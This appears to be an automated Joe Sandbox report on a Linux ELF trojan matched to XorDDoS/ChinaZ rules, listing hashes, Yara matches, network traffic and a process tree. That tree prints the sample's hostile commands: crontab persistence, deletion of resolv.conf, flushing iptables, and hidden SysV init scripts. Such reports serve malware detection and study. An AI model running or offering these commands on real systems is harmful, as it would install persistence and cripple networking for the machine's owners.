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Linux Analysis Report
Linux4.7.elf

Overview

General Information

Sample Name:	Linux4.7.elf
Analysis ID:	727219
MD5:	b6a59da20064367d4a954123c69345dc
SHA1:	2c8b614069440f2476415dd54e4b985c72be3eef
SHA256:	09bc639a0192cb829d74d3e64c0333be46aa72f780a7a17ef2adc072d7ed80b3
Tags:	ChinaZDDoSelf
Infos:

Detection

Score:	88
Range:	0 - 100
Whitelisted:	false

Signatures

Multi AV Scanner detection for submitted file

Malicious sample detected (through community Yara rule)

Sample tries to persist itself using System V runlevels

Machine Learning detection for dropped file

Sample tries to persist itself using cron

Drops files in suspicious directories

Sample deletes itself

Drops invisible ELF files

Executes the "iptables" command to insert, remove and/or manipulate rules

Machine Learning detection for sample

Writes ELF files to disk

Reads CPU information from /sys indicative of miner or evasive malware

Yara signature match

Writes shell script files to disk

Reads system information from the proc file system

Uses the "uname" system call to query kernel version information (possible evasion)

Executes the "systemctl" command used for controlling the systemd system and service manager

Tries to connect to HTTP servers, but all servers are down (expired dropper behavior)

Sample has stripped symbol table

Executes the "iptables" command used for managing IP filtering and manipulation

Executes commands using a shell command-line interpreter

Executes the "rm" command used to delete files or directories

Executes the "touch" command used to create files or modify time stamps

Writes shell script file to disk with an unusual file extension

Classification

Analysis Advice

All HTTP servers contacted by the sample do not answer. The sample is likely an old dropper which does no longer work.

General Information

Joe Sandbox Version:	36.0.0 Rainbow Opal
Analysis ID:	727219
Start date and time:	2022-10-21 04:37:08 +02:00
Joe Sandbox Product:	CloudBasic
Overall analysis duration:	0h 5m 18s
Hypervisor based Inspection enabled:	false
Report type:	full
Sample file name:	Linux4.7.elf
Cookbook file name:	defaultlinuxfilecookbook.jbs
Analysis system description:	Ubuntu Linux 20.04 x64 (Kernel 5.4.0-72, Firefox 91.0, Evince Document Viewer 3.36.10, LibreOffice 6.4.7.2, OpenJDK 11.0.11)
Analysis Mode:	default
Detection:	MAL
Classification:	mal88.troj.evad.linELF@0/5@0/0

Runtime Messages

Command:	/tmp/Linux4.7.elf
PID:	6223
Exit Code:	0
Exit Code Info:
Killed:	False
Standard Output:
Standard Error:

Process Tree

system is lnxubuntu20

Linux4.7.elf (PID: 6223, Parent: 6122, MD5: b6a59da20064367d4a954123c69345dc) Arguments: /tmp/Linux4.7.elf

Linux4.7.elf New Fork (PID: 6224, Parent: 6223)

Linux4.7.elf New Fork (PID: 6225, Parent: 6224)

Linux4.7.elf New Fork (PID: 6226, Parent: 6225)

Linux4.7.elf New Fork (PID: 6227, Parent: 6226)

Linux4.7.elf New Fork (PID: 6228, Parent: 6225)

Linux4.7.elf New Fork (PID: 6229, Parent: 6228)

update-rc.d (PID: 6229, Parent: 1860, MD5: 16a21f464119ea7fad1d3660de963637) Arguments: update-rc.d Linux4.7.elf remove

update-rc.d New Fork (PID: 6236, Parent: 6229)

systemctl (PID: 6236, Parent: 6229, MD5: 4deddfb6741481f68aeac522cc26ff4b) Arguments: systemctl daemon-reload

Linux4.7.elf New Fork (PID: 6230, Parent: 6225)

Linux4.7.elf New Fork (PID: 6231, Parent: 6230)

Linux4.7.elf New Fork (PID: 6232, Parent: 6225)

Linux4.7.elf New Fork (PID: 6233, Parent: 6232)

update-rc.d (PID: 6233, Parent: 1860, MD5: 16a21f464119ea7fad1d3660de963637) Arguments: update-rc.d .chinaz{1666327072 defaults

update-rc.d New Fork (PID: 6244, Parent: 6233)

systemctl (PID: 6244, Parent: 6233, MD5: 4deddfb6741481f68aeac522cc26ff4b) Arguments: systemctl daemon-reload

Linux4.7.elf New Fork (PID: 6234, Parent: 6225)

sh (PID: 6234, Parent: 6225, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: sh -c "sed -i '/\\/etc\\/cron.hourly\\/cron.sh/d' /etc/crontab && echo '*/3 * * * * root /etc/cron.hourly/cron.sh' >> /etc/crontab"

sh New Fork (PID: 6235, Parent: 6234)

sed (PID: 6235, Parent: 6234, MD5: 885062561f66aa1d4af4c54b9e7cc81a) Arguments: sed -i /\\/etc\\/cron.hourly\\/cron.sh/d /etc/crontab

Linux4.7.elf New Fork (PID: 6237, Parent: 6225)

sh (PID: 6237, Parent: 6225, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: sh -c "rm -rf /etc/resolv.conf"

sh New Fork (PID: 6238, Parent: 6237)

rm (PID: 6238, Parent: 6237, MD5: aa2b5496fdbfd88e38791ab81f90b95b) Arguments: rm -rf /etc/resolv.conf

Linux4.7.elf New Fork (PID: 6241, Parent: 6225)

sh (PID: 6241, Parent: 6225, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: sh -c whoami

sh New Fork (PID: 6247, Parent: 6241)

whoami (PID: 6247, Parent: 6241, MD5: dbc1888ae50bb5d4d9a7a210d51be710) Arguments: whoami

Linux4.7.elf New Fork (PID: 6242, Parent: 6225)

sh (PID: 6242, Parent: 6225, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: sh -c "iptables --flush"

sh New Fork (PID: 6245, Parent: 6242)

iptables (PID: 6245, Parent: 6242, MD5: 1ab05fef765b6342cdfadaa5275b33af) Arguments: iptables --flush

Linux4.7.elf New Fork (PID: 6243, Parent: 6225)

sh (PID: 6243, Parent: 6225, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: sh -c whoami

sh New Fork (PID: 6246, Parent: 6243)

whoami (PID: 6246, Parent: 6243, MD5: dbc1888ae50bb5d4d9a7a210d51be710) Arguments: whoami

Linux4.7.elf New Fork (PID: 6252, Parent: 6225)

sh (PID: 6252, Parent: 6225, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: sh -c "touch /home/root/ConfigDatecz"

sh New Fork (PID: 6254, Parent: 6252)

touch (PID: 6254, Parent: 6252, MD5: 3859c173f5d3b37be3e531b7c84a9c68) Arguments: touch /home/root/ConfigDatecz

Linux4.7.elf New Fork (PID: 6253, Parent: 6225)

sh (PID: 6253, Parent: 6225, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: sh -c "iptables -A OUTPUT -p tcp --dport 0 -j DROP"

sh New Fork (PID: 6257, Parent: 6253)

iptables (PID: 6257, Parent: 6253, MD5: 1ab05fef765b6342cdfadaa5275b33af) Arguments: iptables -A OUTPUT -p tcp --dport 0 -j DROP

systemd New Fork (PID: 6256, Parent: 6255)

snapd-env-generator (PID: 6256, Parent: 6255, MD5: 3633b075f40283ec938a2a6a89671b0e) Arguments: /usr/lib/systemd/system-environment-generators/snapd-env-generator

systemd New Fork (PID: 6272, Parent: 6271)

snapd-env-generator (PID: 6272, Parent: 6271, MD5: 3633b075f40283ec938a2a6a89671b0e) Arguments: /usr/lib/systemd/system-environment-generators/snapd-env-generator

cleanup

Yara Signatures

Initial Sample

Source	Rule	Description	Author	Strings
Linux4.7.elf	CN_disclosed_20180208_lsls	Detects malware from disclosed CN malware set	Florian Roth	0xf5ef0:$x1: User-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)
Linux4.7.elf	Linux_Trojan_Xorddos_a6572d63	unknown	unknown	0xb80ad:$a: C8 0F B6 46 04 0F B6 56 05 C1 E0 08 09 D0 89 45 CC 0F B6 46 06 0F B6

Dropped Files

Source	Rule	Description	Author	Strings
/etc/init.d/.chinaz{1666327072	CN_disclosed_20180208_lsls	Detects malware from disclosed CN malware set	Florian Roth	0xf5ef0:$x1: User-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)
/etc/init.d/.chinaz{1666327072	Linux_Trojan_Xorddos_a6572d63	unknown	unknown	0xb80ad:$a: C8 0F B6 46 04 0F B6 56 05 C1 E0 08 09 D0 89 45 CC 0F B6 46 06 0F B6

Memory Dumps

Source	Rule	Description	Author	Strings
6228.1.0000000008048000.0000000008188000.r-x.sdmp	CN_disclosed_20180208_lsls	Detects malware from disclosed CN malware set	Florian Roth	0xf5ef0:$x1: User-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)
6228.1.0000000008048000.0000000008188000.r-x.sdmp	Linux_Trojan_Xorddos_a6572d63	unknown	unknown	0xb80ad:$a: C8 0F B6 46 04 0F B6 56 05 C1 E0 08 09 D0 89 45 CC 0F B6 46 06 0F B6
6223.1.0000000008048000.0000000008188000.r-x.sdmp	CN_disclosed_20180208_lsls	Detects malware from disclosed CN malware set	Florian Roth	0xf5ef0:$x1: User-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)
6223.1.0000000008048000.0000000008188000.r-x.sdmp	Linux_Trojan_Xorddos_a6572d63	unknown	unknown	0xb80ad:$a: C8 0F B6 46 04 0F B6 56 05 C1 E0 08 09 D0 89 45 CC 0F B6 46 06 0F B6
6226.1.0000000008048000.0000000008188000.r-x.sdmp	CN_disclosed_20180208_lsls	Detects malware from disclosed CN malware set	Florian Roth	0xf5ef0:$x1: User-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)
6226.1.0000000008048000.0000000008188000.r-x.sdmp	Linux_Trojan_Xorddos_a6572d63	unknown	unknown	0xb80ad:$a: C8 0F B6 46 04 0F B6 56 05 C1 E0 08 09 D0 89 45 CC 0F B6 46 06 0F B6
6231.1.0000000008048000.0000000008188000.r-x.sdmp	CN_disclosed_20180208_lsls	Detects malware from disclosed CN malware set	Florian Roth	0xf5ef0:$x1: User-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)
6231.1.0000000008048000.0000000008188000.r-x.sdmp	Linux_Trojan_Xorddos_a6572d63	unknown	unknown	0xb80ad:$a: C8 0F B6 46 04 0F B6 56 05 C1 E0 08 09 D0 89 45 CC 0F B6 46 06 0F B6
6224.1.0000000008048000.0000000008188000.r-x.sdmp	CN_disclosed_20180208_lsls	Detects malware from disclosed CN malware set	Florian Roth	0xf5ef0:$x1: User-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)
6224.1.0000000008048000.0000000008188000.r-x.sdmp	Linux_Trojan_Xorddos_a6572d63	unknown	unknown	0xb80ad:$a: C8 0F B6 46 04 0F B6 56 05 C1 E0 08 09 D0 89 45 CC 0F B6 46 06 0F B6
6232.1.0000000008048000.0000000008188000.r-x.sdmp	CN_disclosed_20180208_lsls	Detects malware from disclosed CN malware set	Florian Roth	0xf5ef0:$x1: User-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)
6232.1.0000000008048000.0000000008188000.r-x.sdmp	Linux_Trojan_Xorddos_a6572d63	unknown	unknown	0xb80ad:$a: C8 0F B6 46 04 0F B6 56 05 C1 E0 08 09 D0 89 45 CC 0F B6 46 06 0F B6
6225.1.0000000008048000.0000000008188000.r-x.sdmp	CN_disclosed_20180208_lsls	Detects malware from disclosed CN malware set	Florian Roth	0xf5ef0:$x1: User-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)
6225.1.0000000008048000.0000000008188000.r-x.sdmp	Linux_Trojan_Xorddos_a6572d63	unknown	unknown	0xb80ad:$a: C8 0F B6 46 04 0F B6 56 05 C1 E0 08 09 D0 89 45 CC 0F B6 46 06 0F B6
6227.1.0000000008048000.0000000008188000.r-x.sdmp	CN_disclosed_20180208_lsls	Detects malware from disclosed CN malware set	Florian Roth	0xf5ef0:$x1: User-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)
6227.1.0000000008048000.0000000008188000.r-x.sdmp	Linux_Trojan_Xorddos_a6572d63	unknown	unknown	0xb80ad:$a: C8 0F B6 46 04 0F B6 56 05 C1 E0 08 09 D0 89 45 CC 0F B6 46 06 0F B6
6230.1.0000000008048000.0000000008188000.r-x.sdmp	CN_disclosed_20180208_lsls	Detects malware from disclosed CN malware set	Florian Roth	0xf5ef0:$x1: User-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)
6230.1.0000000008048000.0000000008188000.r-x.sdmp	Linux_Trojan_Xorddos_a6572d63	unknown	unknown	0xb80ad:$a: C8 0F B6 46 04 0F B6 56 05 C1 E0 08 09 D0 89 45 CC 0F B6 46 06 0F B6
Click to see the 13 entries

Snort Signatures

⊘No Snort rule has matched

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Multi AV Scanner detection for submitted file

Source: Linux4.7.elf

Virustotal: Detection: 60%

Perma Link

Machine Learning detection for dropped file

Source: /etc/init.d/.chinaz{1666327072

Joe Sandbox ML: detected

Machine Learning detection for sample

Source: Linux4.7.elf

Joe Sandbox ML: detected

Source: /tmp/Linux4.7.elf (PID: 6225)

Reads CPU info from /sys: /sys/devices/system/cpu/online

Jump to behavior

Networking

Executes the "iptables" command to insert, remove and/or manipulate rules

Source: /bin/sh (PID: 6257)

Iptables executable using switch for changing the iptables rules: /usr/sbin/iptables -> iptables -A OUTPUT -p tcp --dport 0 -j DROP

Jump to behavior

Source: global traffic	TCP traffic: 192.168.2.23:42836 -> 91.189.91.43:443
Source: global traffic	TCP traffic: 192.168.2.23:42516 -> 109.202.202.202:80
Source: global traffic	TCP traffic: 192.168.2.23:43928 -> 91.189.91.42:443

Source: /bin/sh (PID: 6245)	Iptables executable: /usr/sbin/iptables -> iptables --flush			Jump to behavior
Source: /bin/sh (PID: 6257)	Iptables executable: /usr/sbin/iptables -> iptables -A OUTPUT -p tcp --dport 0 -j DROP			Jump to behavior

Source: unknown	Network traffic detected: HTTP traffic on port 43928 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 42836 -> 443

Source: unknown	TCP traffic detected without corresponding DNS query: 91.189.91.43
Source: unknown	TCP traffic detected without corresponding DNS query: 109.202.202.202
Source: unknown	TCP traffic detected without corresponding DNS query: 91.189.91.42
Source: unknown	TCP traffic detected without corresponding DNS query: 91.189.91.43
Source: unknown	TCP traffic detected without corresponding DNS query: 109.202.202.202
Source: unknown	TCP traffic detected without corresponding DNS query: 91.189.91.42
Source: unknown	TCP traffic detected without corresponding DNS query: 91.189.91.43

Source: Linux4.7.elf, .chinaz{1666327072.12.dr

String found in binary or memory: http://www.gnu.org/software/libc/bugs.html

System Summary

Malicious sample detected (through community Yara rule)

Source: Linux4.7.elf, type: SAMPLE	Matched rule: Detects malware from disclosed CN malware set Author: Florian Roth
Source: Linux4.7.elf, type: SAMPLE	Matched rule: Linux_Trojan_Xorddos_a6572d63 Author: unknown
Source: 6228.1.0000000008048000.0000000008188000.r-x.sdmp, type: MEMORY	Matched rule: Detects malware from disclosed CN malware set Author: Florian Roth
Source: 6228.1.0000000008048000.0000000008188000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Xorddos_a6572d63 Author: unknown
Source: 6223.1.0000000008048000.0000000008188000.r-x.sdmp, type: MEMORY	Matched rule: Detects malware from disclosed CN malware set Author: Florian Roth
Source: 6223.1.0000000008048000.0000000008188000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Xorddos_a6572d63 Author: unknown
Source: 6226.1.0000000008048000.0000000008188000.r-x.sdmp, type: MEMORY	Matched rule: Detects malware from disclosed CN malware set Author: Florian Roth
Source: 6226.1.0000000008048000.0000000008188000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Xorddos_a6572d63 Author: unknown
Source: 6231.1.0000000008048000.0000000008188000.r-x.sdmp, type: MEMORY	Matched rule: Detects malware from disclosed CN malware set Author: Florian Roth
Source: 6231.1.0000000008048000.0000000008188000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Xorddos_a6572d63 Author: unknown
Source: 6224.1.0000000008048000.0000000008188000.r-x.sdmp, type: MEMORY	Matched rule: Detects malware from disclosed CN malware set Author: Florian Roth
Source: 6224.1.0000000008048000.0000000008188000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Xorddos_a6572d63 Author: unknown
Source: 6232.1.0000000008048000.0000000008188000.r-x.sdmp, type: MEMORY	Matched rule: Detects malware from disclosed CN malware set Author: Florian Roth
Source: 6232.1.0000000008048000.0000000008188000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Xorddos_a6572d63 Author: unknown
Source: 6225.1.0000000008048000.0000000008188000.r-x.sdmp, type: MEMORY	Matched rule: Detects malware from disclosed CN malware set Author: Florian Roth
Source: 6225.1.0000000008048000.0000000008188000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Xorddos_a6572d63 Author: unknown
Source: 6227.1.0000000008048000.0000000008188000.r-x.sdmp, type: MEMORY	Matched rule: Detects malware from disclosed CN malware set Author: Florian Roth
Source: 6227.1.0000000008048000.0000000008188000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Xorddos_a6572d63 Author: unknown
Source: 6230.1.0000000008048000.0000000008188000.r-x.sdmp, type: MEMORY	Matched rule: Detects malware from disclosed CN malware set Author: Florian Roth
Source: 6230.1.0000000008048000.0000000008188000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Xorddos_a6572d63 Author: unknown
Source: /etc/init.d/.chinaz{1666327072, type: DROPPED	Matched rule: Detects malware from disclosed CN malware set Author: Florian Roth
Source: /etc/init.d/.chinaz{1666327072, type: DROPPED	Matched rule: Linux_Trojan_Xorddos_a6572d63 Author: unknown

Source: Linux4.7.elf, type: SAMPLE	Matched rule: CN_disclosed_20180208_lsls date = 2018-02-08, hash1 = 94c6a92984df9ed255f4c644261b01c4e255acbe32ddfd0debe38b558f29a6c9, author = Florian Roth, description = Detects malware from disclosed CN malware set, reference = https://twitter.com/cyberintproject/status/961714165550342146, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE
Source: Linux4.7.elf, type: SAMPLE	Matched rule: Linux_Trojan_Xorddos_a6572d63 reference_sample = 2ff33adb421a166895c3816d506a63dff4e1e8fa91f2ac8fb763dc6e8df59d6e, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Xorddos, fingerprint = fd32a773785f847cdd59d41786a8d8a7ba800a71d40d804aca51286d9bb1e1f0, id = a6572d63-f9f3-4dfb-87e6-3b0bafd68a79, last_modified = 2021-09-16
Source: 6228.1.0000000008048000.0000000008188000.r-x.sdmp, type: MEMORY	Matched rule: CN_disclosed_20180208_lsls date = 2018-02-08, hash1 = 94c6a92984df9ed255f4c644261b01c4e255acbe32ddfd0debe38b558f29a6c9, author = Florian Roth, description = Detects malware from disclosed CN malware set, reference = https://twitter.com/cyberintproject/status/961714165550342146, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE
Source: 6228.1.0000000008048000.0000000008188000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Xorddos_a6572d63 reference_sample = 2ff33adb421a166895c3816d506a63dff4e1e8fa91f2ac8fb763dc6e8df59d6e, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Xorddos, fingerprint = fd32a773785f847cdd59d41786a8d8a7ba800a71d40d804aca51286d9bb1e1f0, id = a6572d63-f9f3-4dfb-87e6-3b0bafd68a79, last_modified = 2021-09-16
Source: 6223.1.0000000008048000.0000000008188000.r-x.sdmp, type: MEMORY	Matched rule: CN_disclosed_20180208_lsls date = 2018-02-08, hash1 = 94c6a92984df9ed255f4c644261b01c4e255acbe32ddfd0debe38b558f29a6c9, author = Florian Roth, description = Detects malware from disclosed CN malware set, reference = https://twitter.com/cyberintproject/status/961714165550342146, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE
Source: 6223.1.0000000008048000.0000000008188000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Xorddos_a6572d63 reference_sample = 2ff33adb421a166895c3816d506a63dff4e1e8fa91f2ac8fb763dc6e8df59d6e, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Xorddos, fingerprint = fd32a773785f847cdd59d41786a8d8a7ba800a71d40d804aca51286d9bb1e1f0, id = a6572d63-f9f3-4dfb-87e6-3b0bafd68a79, last_modified = 2021-09-16
Source: 6226.1.0000000008048000.0000000008188000.r-x.sdmp, type: MEMORY	Matched rule: CN_disclosed_20180208_lsls date = 2018-02-08, hash1 = 94c6a92984df9ed255f4c644261b01c4e255acbe32ddfd0debe38b558f29a6c9, author = Florian Roth, description = Detects malware from disclosed CN malware set, reference = https://twitter.com/cyberintproject/status/961714165550342146, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE
Source: 6226.1.0000000008048000.0000000008188000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Xorddos_a6572d63 reference_sample = 2ff33adb421a166895c3816d506a63dff4e1e8fa91f2ac8fb763dc6e8df59d6e, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Xorddos, fingerprint = fd32a773785f847cdd59d41786a8d8a7ba800a71d40d804aca51286d9bb1e1f0, id = a6572d63-f9f3-4dfb-87e6-3b0bafd68a79, last_modified = 2021-09-16
Source: 6231.1.0000000008048000.0000000008188000.r-x.sdmp, type: MEMORY	Matched rule: CN_disclosed_20180208_lsls date = 2018-02-08, hash1 = 94c6a92984df9ed255f4c644261b01c4e255acbe32ddfd0debe38b558f29a6c9, author = Florian Roth, description = Detects malware from disclosed CN malware set, reference = https://twitter.com/cyberintproject/status/961714165550342146, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE
Source: 6231.1.0000000008048000.0000000008188000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Xorddos_a6572d63 reference_sample = 2ff33adb421a166895c3816d506a63dff4e1e8fa91f2ac8fb763dc6e8df59d6e, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Xorddos, fingerprint = fd32a773785f847cdd59d41786a8d8a7ba800a71d40d804aca51286d9bb1e1f0, id = a6572d63-f9f3-4dfb-87e6-3b0bafd68a79, last_modified = 2021-09-16
Source: 6224.1.0000000008048000.0000000008188000.r-x.sdmp, type: MEMORY	Matched rule: CN_disclosed_20180208_lsls date = 2018-02-08, hash1 = 94c6a92984df9ed255f4c644261b01c4e255acbe32ddfd0debe38b558f29a6c9, author = Florian Roth, description = Detects malware from disclosed CN malware set, reference = https://twitter.com/cyberintproject/status/961714165550342146, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE
Source: 6224.1.0000000008048000.0000000008188000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Xorddos_a6572d63 reference_sample = 2ff33adb421a166895c3816d506a63dff4e1e8fa91f2ac8fb763dc6e8df59d6e, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Xorddos, fingerprint = fd32a773785f847cdd59d41786a8d8a7ba800a71d40d804aca51286d9bb1e1f0, id = a6572d63-f9f3-4dfb-87e6-3b0bafd68a79, last_modified = 2021-09-16
Source: 6232.1.0000000008048000.0000000008188000.r-x.sdmp, type: MEMORY	Matched rule: CN_disclosed_20180208_lsls date = 2018-02-08, hash1 = 94c6a92984df9ed255f4c644261b01c4e255acbe32ddfd0debe38b558f29a6c9, author = Florian Roth, description = Detects malware from disclosed CN malware set, reference = https://twitter.com/cyberintproject/status/961714165550342146, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE
Source: 6232.1.0000000008048000.0000000008188000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Xorddos_a6572d63 reference_sample = 2ff33adb421a166895c3816d506a63dff4e1e8fa91f2ac8fb763dc6e8df59d6e, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Xorddos, fingerprint = fd32a773785f847cdd59d41786a8d8a7ba800a71d40d804aca51286d9bb1e1f0, id = a6572d63-f9f3-4dfb-87e6-3b0bafd68a79, last_modified = 2021-09-16
Source: 6225.1.0000000008048000.0000000008188000.r-x.sdmp, type: MEMORY	Matched rule: CN_disclosed_20180208_lsls date = 2018-02-08, hash1 = 94c6a92984df9ed255f4c644261b01c4e255acbe32ddfd0debe38b558f29a6c9, author = Florian Roth, description = Detects malware from disclosed CN malware set, reference = https://twitter.com/cyberintproject/status/961714165550342146, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE
Source: 6225.1.0000000008048000.0000000008188000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Xorddos_a6572d63 reference_sample = 2ff33adb421a166895c3816d506a63dff4e1e8fa91f2ac8fb763dc6e8df59d6e, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Xorddos, fingerprint = fd32a773785f847cdd59d41786a8d8a7ba800a71d40d804aca51286d9bb1e1f0, id = a6572d63-f9f3-4dfb-87e6-3b0bafd68a79, last_modified = 2021-09-16
Source: 6227.1.0000000008048000.0000000008188000.r-x.sdmp, type: MEMORY	Matched rule: CN_disclosed_20180208_lsls date = 2018-02-08, hash1 = 94c6a92984df9ed255f4c644261b01c4e255acbe32ddfd0debe38b558f29a6c9, author = Florian Roth, description = Detects malware from disclosed CN malware set, reference = https://twitter.com/cyberintproject/status/961714165550342146, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE
Source: 6227.1.0000000008048000.0000000008188000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Xorddos_a6572d63 reference_sample = 2ff33adb421a166895c3816d506a63dff4e1e8fa91f2ac8fb763dc6e8df59d6e, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Xorddos, fingerprint = fd32a773785f847cdd59d41786a8d8a7ba800a71d40d804aca51286d9bb1e1f0, id = a6572d63-f9f3-4dfb-87e6-3b0bafd68a79, last_modified = 2021-09-16
Source: 6230.1.0000000008048000.0000000008188000.r-x.sdmp, type: MEMORY	Matched rule: CN_disclosed_20180208_lsls date = 2018-02-08, hash1 = 94c6a92984df9ed255f4c644261b01c4e255acbe32ddfd0debe38b558f29a6c9, author = Florian Roth, description = Detects malware from disclosed CN malware set, reference = https://twitter.com/cyberintproject/status/961714165550342146, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE
Source: 6230.1.0000000008048000.0000000008188000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Xorddos_a6572d63 reference_sample = 2ff33adb421a166895c3816d506a63dff4e1e8fa91f2ac8fb763dc6e8df59d6e, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Xorddos, fingerprint = fd32a773785f847cdd59d41786a8d8a7ba800a71d40d804aca51286d9bb1e1f0, id = a6572d63-f9f3-4dfb-87e6-3b0bafd68a79, last_modified = 2021-09-16
Source: /etc/init.d/.chinaz{1666327072, type: DROPPED	Matched rule: CN_disclosed_20180208_lsls date = 2018-02-08, hash1 = 94c6a92984df9ed255f4c644261b01c4e255acbe32ddfd0debe38b558f29a6c9, author = Florian Roth, description = Detects malware from disclosed CN malware set, reference = https://twitter.com/cyberintproject/status/961714165550342146, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE
Source: /etc/init.d/.chinaz{1666327072, type: DROPPED	Matched rule: Linux_Trojan_Xorddos_a6572d63 reference_sample = 2ff33adb421a166895c3816d506a63dff4e1e8fa91f2ac8fb763dc6e8df59d6e, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Xorddos, fingerprint = fd32a773785f847cdd59d41786a8d8a7ba800a71d40d804aca51286d9bb1e1f0, id = a6572d63-f9f3-4dfb-87e6-3b0bafd68a79, last_modified = 2021-09-16

Source: ELF static info symbol of initial sample

.symtab present: no

Source: classification engine

Classification label: mal88.troj.evad.linELF@0/5@0/0

Persistence and Installation Behavior

Sample tries to persist itself using System V runlevels

Source: /tmp/Linux4.7.elf (PID: 6225)	File: /etc/rc1.d/S90.chinaz{1666327072 -> /etc/init.d/.chinaz{1666327072	Jump to behavior
Source: /tmp/Linux4.7.elf (PID: 6225)	File: /etc/rc2.d/S90.chinaz{1666327072 -> /etc/init.d/.chinaz{1666327072	Jump to behavior
Source: /tmp/Linux4.7.elf (PID: 6225)	File: /etc/rc3.d/S90.chinaz{1666327072 -> /etc/init.d/.chinaz{1666327072	Jump to behavior
Source: /tmp/Linux4.7.elf (PID: 6225)	File: /etc/rc4.d/S90.chinaz{1666327072 -> /etc/init.d/.chinaz{1666327072	Jump to behavior
Source: /tmp/Linux4.7.elf (PID: 6225)	File: /etc/rc5.d/S90.chinaz{1666327072 -> /etc/init.d/.chinaz{1666327072	Jump to behavior
Source: /tmp/Linux4.7.elf (PID: 6225)	File: /etc/rc.d/rc1.d/S90.chinaz{1666327072 -> /etc/init.d/.chinaz{1666327072	Jump to behavior
Source: /tmp/Linux4.7.elf (PID: 6225)	File: /etc/rc.d/rc2.d/S90.chinaz{1666327072 -> /etc/init.d/.chinaz{1666327072	Jump to behavior
Source: /tmp/Linux4.7.elf (PID: 6225)	File: /etc/rc.d/rc3.d/S90.chinaz{1666327072 -> /etc/init.d/.chinaz{1666327072	Jump to behavior
